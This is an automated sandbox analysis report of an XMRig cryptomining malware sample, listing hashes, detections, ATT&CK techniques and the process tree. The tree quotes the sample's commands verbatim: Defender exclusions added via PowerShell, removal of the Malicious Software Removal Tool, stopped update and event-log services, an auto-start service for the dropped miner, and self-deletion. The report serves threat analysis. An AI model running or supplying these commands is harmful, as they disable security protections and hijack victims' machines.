xmrig | cdd4591f545d826e87d682a69df70032a7eef524d72ad89553e6e96ecf154d7b

Analysis

max time kernel
118s
max time network
123s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
18-12-2024 01:36

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General

Target

cdd4591f545d826e87d682a69df70032a7eef524d72ad89553e6e96ecf154d7b.exe
Size

5.6MB
MD5

2338d8f96149fedc7592ae996bc8d850
SHA1

6437a4e1f682bc781cc522b924d394ad28ed91d6
SHA256

cdd4591f545d826e87d682a69df70032a7eef524d72ad89553e6e96ecf154d7b
SHA512

08a588de9ab56fcd207c81e3bf0f89fbc03528dc01a7c1e7267a9199d49801d400e0c6aaa8d5d7038506537634c908818d5d7dc7d24a3002f87913fa71752b2f
SSDEEP

98304:KggSZTFznDHwE8oohoIgNgx+r3P4jw4fn9E32RW0O2gT/gQGhP3oFL6p4kvDZ/Hd:DgSZJznDHMo+JgNgx+r3P+e32BO2gjgx

Score

10^/10

xmrig evasion execution miner persistence upx

Malware Config

Signatures

Xmrig family
xmrig
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 11 IoCs

miner

resource	yara_rule
behavioral2/memory/4904-61-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/4904-65-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/4904-68-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/4904-67-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/4904-64-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/4904-66-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/4904-62-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/4904-69-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/4904-71-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/4904-73-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/4904-72-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
5084	powershell.exe
888	powershell.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002
Stops running service(s) 4 TTPs
evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Executes dropped EXE 1 IoCs

pid	Process
3272	fqwofdtexigy.exe

Power Settings 1 TTPs 8 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
5104	powercfg.exe
4704	powercfg.exe
1436	powercfg.exe
1404	powercfg.exe
728	powercfg.exe
4756	powercfg.exe
1944	powercfg.exe
2096	powercfg.exe

Drops file in System32 directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\MRT.exe	cdd4591f545d826e87d682a69df70032a7eef524d72ad89553e6e96ecf154d7b.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\MRT.exe	fqwofdtexigy.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 3272 set thread context of 4864	3272	fqwofdtexigy.exe	153
PID 3272 set thread context of 4904	3272	fqwofdtexigy.exe	155

UPX packed file 16 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/4904-56-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/4904-58-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/4904-59-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/4904-61-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/4904-65-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/4904-68-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/4904-67-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/4904-64-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/4904-66-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/4904-62-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/4904-60-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/4904-57-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/4904-69-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/4904-71-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/4904-73-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/4904-72-0x0000000140000000-0x0000000140848000-memory.dmp	upx

Launches sc.exe 14 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2856	sc.exe
4580	sc.exe
4092	sc.exe
4736	sc.exe
4124	sc.exe
4676	sc.exe
4876	sc.exe
3180	sc.exe
4016	sc.exe
2692	sc.exe
3956	sc.exe
628	sc.exe
448	sc.exe
3720	sc.exe

Modifies data under HKEY_USERS 46 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3736	cdd4591f545d826e87d682a69df70032a7eef524d72ad89553e6e96ecf154d7b.exe
888	powershell.exe
888	powershell.exe
3736	cdd4591f545d826e87d682a69df70032a7eef524d72ad89553e6e96ecf154d7b.exe
3736	cdd4591f545d826e87d682a69df70032a7eef524d72ad89553e6e96ecf154d7b.exe
3736	cdd4591f545d826e87d682a69df70032a7eef524d72ad89553e6e96ecf154d7b.exe
3736	cdd4591f545d826e87d682a69df70032a7eef524d72ad89553e6e96ecf154d7b.exe
3736	cdd4591f545d826e87d682a69df70032a7eef524d72ad89553e6e96ecf154d7b.exe
3736	cdd4591f545d826e87d682a69df70032a7eef524d72ad89553e6e96ecf154d7b.exe
3736	cdd4591f545d826e87d682a69df70032a7eef524d72ad89553e6e96ecf154d7b.exe
3736	cdd4591f545d826e87d682a69df70032a7eef524d72ad89553e6e96ecf154d7b.exe
3736	cdd4591f545d826e87d682a69df70032a7eef524d72ad89553e6e96ecf154d7b.exe
3736	cdd4591f545d826e87d682a69df70032a7eef524d72ad89553e6e96ecf154d7b.exe
3736	cdd4591f545d826e87d682a69df70032a7eef524d72ad89553e6e96ecf154d7b.exe
3736	cdd4591f545d826e87d682a69df70032a7eef524d72ad89553e6e96ecf154d7b.exe
3736	cdd4591f545d826e87d682a69df70032a7eef524d72ad89553e6e96ecf154d7b.exe
3736	cdd4591f545d826e87d682a69df70032a7eef524d72ad89553e6e96ecf154d7b.exe
3736	cdd4591f545d826e87d682a69df70032a7eef524d72ad89553e6e96ecf154d7b.exe
3272	fqwofdtexigy.exe
5084	powershell.exe
5084	powershell.exe
3272	fqwofdtexigy.exe
3272	fqwofdtexigy.exe
3272	fqwofdtexigy.exe
3272	fqwofdtexigy.exe
3272	fqwofdtexigy.exe
3272	fqwofdtexigy.exe
3272	fqwofdtexigy.exe
3272	fqwofdtexigy.exe
3272	fqwofdtexigy.exe
3272	fqwofdtexigy.exe
3272	fqwofdtexigy.exe
3272	fqwofdtexigy.exe
4904	nslookup.exe
4904	nslookup.exe
4904	nslookup.exe
4904	nslookup.exe
4904	nslookup.exe
4904	nslookup.exe
4904	nslookup.exe
4904	nslookup.exe
4904	nslookup.exe
4904	nslookup.exe
4904	nslookup.exe
4904	nslookup.exe
4904	nslookup.exe
4904	nslookup.exe
4904	nslookup.exe
4904	nslookup.exe
4904	nslookup.exe
4904	nslookup.exe
4904	nslookup.exe
4904	nslookup.exe
4904	nslookup.exe
4904	nslookup.exe
4904	nslookup.exe
4904	nslookup.exe
4904	nslookup.exe
4904	nslookup.exe
4904	nslookup.exe
4904	nslookup.exe
4904	nslookup.exe
4904	nslookup.exe
4904	nslookup.exe

Suspicious use of AdjustPrivilegeToken 19 IoCs

description	pid	Process
Token: SeDebugPrivilege	888	powershell.exe
Token: SeShutdownPrivilege	1404	powercfg.exe
Token: SeCreatePagefilePrivilege	1404	powercfg.exe
Token: SeShutdownPrivilege	4704	powercfg.exe
Token: SeCreatePagefilePrivilege	4704	powercfg.exe
Token: SeShutdownPrivilege	728	powercfg.exe
Token: SeCreatePagefilePrivilege	728	powercfg.exe
Token: SeShutdownPrivilege	1436	powercfg.exe
Token: SeCreatePagefilePrivilege	1436	powercfg.exe
Token: SeDebugPrivilege	5084	powershell.exe
Token: SeLockMemoryPrivilege	4904	nslookup.exe
Token: SeShutdownPrivilege	4756	powercfg.exe
Token: SeCreatePagefilePrivilege	4756	powercfg.exe
Token: SeShutdownPrivilege	2096	powercfg.exe
Token: SeCreatePagefilePrivilege	2096	powercfg.exe
Token: SeShutdownPrivilege	1944	powercfg.exe
Token: SeCreatePagefilePrivilege	1944	powercfg.exe
Token: SeShutdownPrivilege	5104	powercfg.exe
Token: SeCreatePagefilePrivilege	5104	powercfg.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 4480 wrote to memory of 3912	4480	cmd.exe	103
PID 4480 wrote to memory of 3912	4480	cmd.exe	103
PID 3340 wrote to memory of 1844	3340	cmd.exe	132
PID 3340 wrote to memory of 1844	3340	cmd.exe	132
PID 692 wrote to memory of 1116	692	cmd.exe	140
PID 692 wrote to memory of 1116	692	cmd.exe	140
PID 3272 wrote to memory of 4864	3272	fqwofdtexigy.exe	153
PID 3272 wrote to memory of 4864	3272	fqwofdtexigy.exe	153
PID 3272 wrote to memory of 4864	3272	fqwofdtexigy.exe	153
PID 3272 wrote to memory of 4864	3272	fqwofdtexigy.exe	153
PID 3272 wrote to memory of 4864	3272	fqwofdtexigy.exe	153
PID 3272 wrote to memory of 4864	3272	fqwofdtexigy.exe	153
PID 3272 wrote to memory of 4864	3272	fqwofdtexigy.exe	153
PID 3272 wrote to memory of 4864	3272	fqwofdtexigy.exe	153
PID 3272 wrote to memory of 4864	3272	fqwofdtexigy.exe	153
PID 3272 wrote to memory of 4904	3272	fqwofdtexigy.exe	155
PID 3272 wrote to memory of 4904	3272	fqwofdtexigy.exe	155
PID 3272 wrote to memory of 4904	3272	fqwofdtexigy.exe	155
PID 3272 wrote to memory of 4904	3272	fqwofdtexigy.exe	155
PID 3272 wrote to memory of 4904	3272	fqwofdtexigy.exe	155

C:\Users\Admin\AppData\Local\Temp\cdd4591f545d826e87d682a69df70032a7eef524d72ad89553e6e96ecf154d7b.exe
"C:\Users\Admin\AppData\Local\Temp\cdd4591f545d826e87d682a69df70032a7eef524d72ad89553e6e96ecf154d7b.exe"
1⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
PID:3736
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:888
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4480
- - C:\Windows\system32\wusa.exe
    wusa /uninstall /kb:890830 /quiet /norestart
    3⤵
    PID:3912
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop UsoSvc
  2⤵
  - Launches sc.exe
  PID:3180
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop WaaSMedicSvc
  2⤵
  - Launches sc.exe
  PID:4016
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop wuauserv
  2⤵
  - Launches sc.exe
  PID:2692
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop bits
  2⤵
  - Launches sc.exe
  PID:4736
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop dosvc
  2⤵
  - Launches sc.exe
  PID:3956
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:4704
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:728
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:1404
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:1436
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe delete "JVNIRHNX"
  2⤵
  - Launches sc.exe
  PID:4124
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe create "JVNIRHNX" binpath= "C:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exe" start= "auto"
  2⤵
  - Launches sc.exe
  PID:4676
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop eventlog
  2⤵
  - Launches sc.exe
  PID:628
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe start "JVNIRHNX"
  2⤵
  - Launches sc.exe
  PID:4876
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\cdd4591f545d826e87d682a69df70032a7eef524d72ad89553e6e96ecf154d7b.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3340
- - C:\Windows\system32\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:1844

C:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exe
C:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exe
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3272
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5084
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:692
- - C:\Windows\system32\wusa.exe
    wusa /uninstall /kb:890830 /quiet /norestart
    3⤵
    PID:1116
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop UsoSvc
  2⤵
  - Launches sc.exe
  PID:2856
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop WaaSMedicSvc
  2⤵
  - Launches sc.exe
  PID:4580
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop wuauserv
  2⤵
  - Launches sc.exe
  PID:448
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop bits
  2⤵
  - Launches sc.exe
  PID:3720
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop dosvc
  2⤵
  - Launches sc.exe
  PID:4092
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:4756
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:1944
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:2096
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:5104
- C:\Windows\system32\conhost.exe
  C:\Windows\system32\conhost.exe
  2⤵
  PID:4864
- C:\Windows\system32\nslookup.exe
  nslookup.exe
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4904

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Power Settings

T1653

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

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Downloads

C:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exe

Filesize
5.6MB

MD5
2338d8f96149fedc7592ae996bc8d850

SHA1
6437a4e1f682bc781cc522b924d394ad28ed91d6

SHA256
cdd4591f545d826e87d682a69df70032a7eef524d72ad89553e6e96ecf154d7b

SHA512
08a588de9ab56fcd207c81e3bf0f89fbc03528dc01a7c1e7267a9199d49801d400e0c6aaa8d5d7038506537634c908818d5d7dc7d24a3002f87913fa71752b2f

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zhixcezz.cln.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/888-11-0x00007FFCC15B0000-0x00007FFCC2071000-memory.dmp

Filesize
10.8MB

Download
memory/888-12-0x00007FFCC15B0000-0x00007FFCC2071000-memory.dmp

Filesize
10.8MB

Download
memory/888-15-0x00007FFCC15B0000-0x00007FFCC2071000-memory.dmp

Filesize
10.8MB

Download
memory/888-10-0x000001EF9B7C0000-0x000001EF9B7E2000-memory.dmp

Filesize
136KB

Download
memory/888-0-0x00007FFCC15B3000-0x00007FFCC15B5000-memory.dmp

Filesize
8KB

Download
memory/4864-52-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/4864-55-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/4864-48-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/4864-49-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/4864-50-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/4864-51-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/4904-68-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/4904-62-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/4904-72-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/4904-73-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/4904-71-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/4904-69-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/4904-57-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/4904-60-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/4904-63-0x0000025819A60000-0x0000025819A80000-memory.dmp

Filesize
128KB

Download
memory/4904-56-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/4904-58-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/4904-59-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/4904-61-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/4904-65-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/4904-66-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/4904-67-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/4904-64-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/5084-37-0x0000018FA2380000-0x0000018FA239C000-memory.dmp

Filesize
112KB

Download
memory/5084-38-0x0000018FA23A0000-0x0000018FA2455000-memory.dmp

Filesize
724KB

Download
memory/5084-44-0x0000018FA25F0000-0x0000018FA25F6000-memory.dmp

Filesize
24KB

Download
memory/5084-39-0x0000018FA2460000-0x0000018FA246A000-memory.dmp

Filesize
40KB

Download
memory/5084-40-0x0000018FA25D0000-0x0000018FA25EC000-memory.dmp

Filesize
112KB

Download
memory/5084-41-0x0000018FA25B0000-0x0000018FA25BA000-memory.dmp

Filesize
40KB

Download
memory/5084-42-0x0000018FA2610000-0x0000018FA262A000-memory.dmp

Filesize
104KB

Download
memory/5084-43-0x0000018FA25C0000-0x0000018FA25C8000-memory.dmp

Filesize
32KB

Download
memory/5084-45-0x0000018FA2600000-0x0000018FA260A000-memory.dmp

Filesize
40KB

Download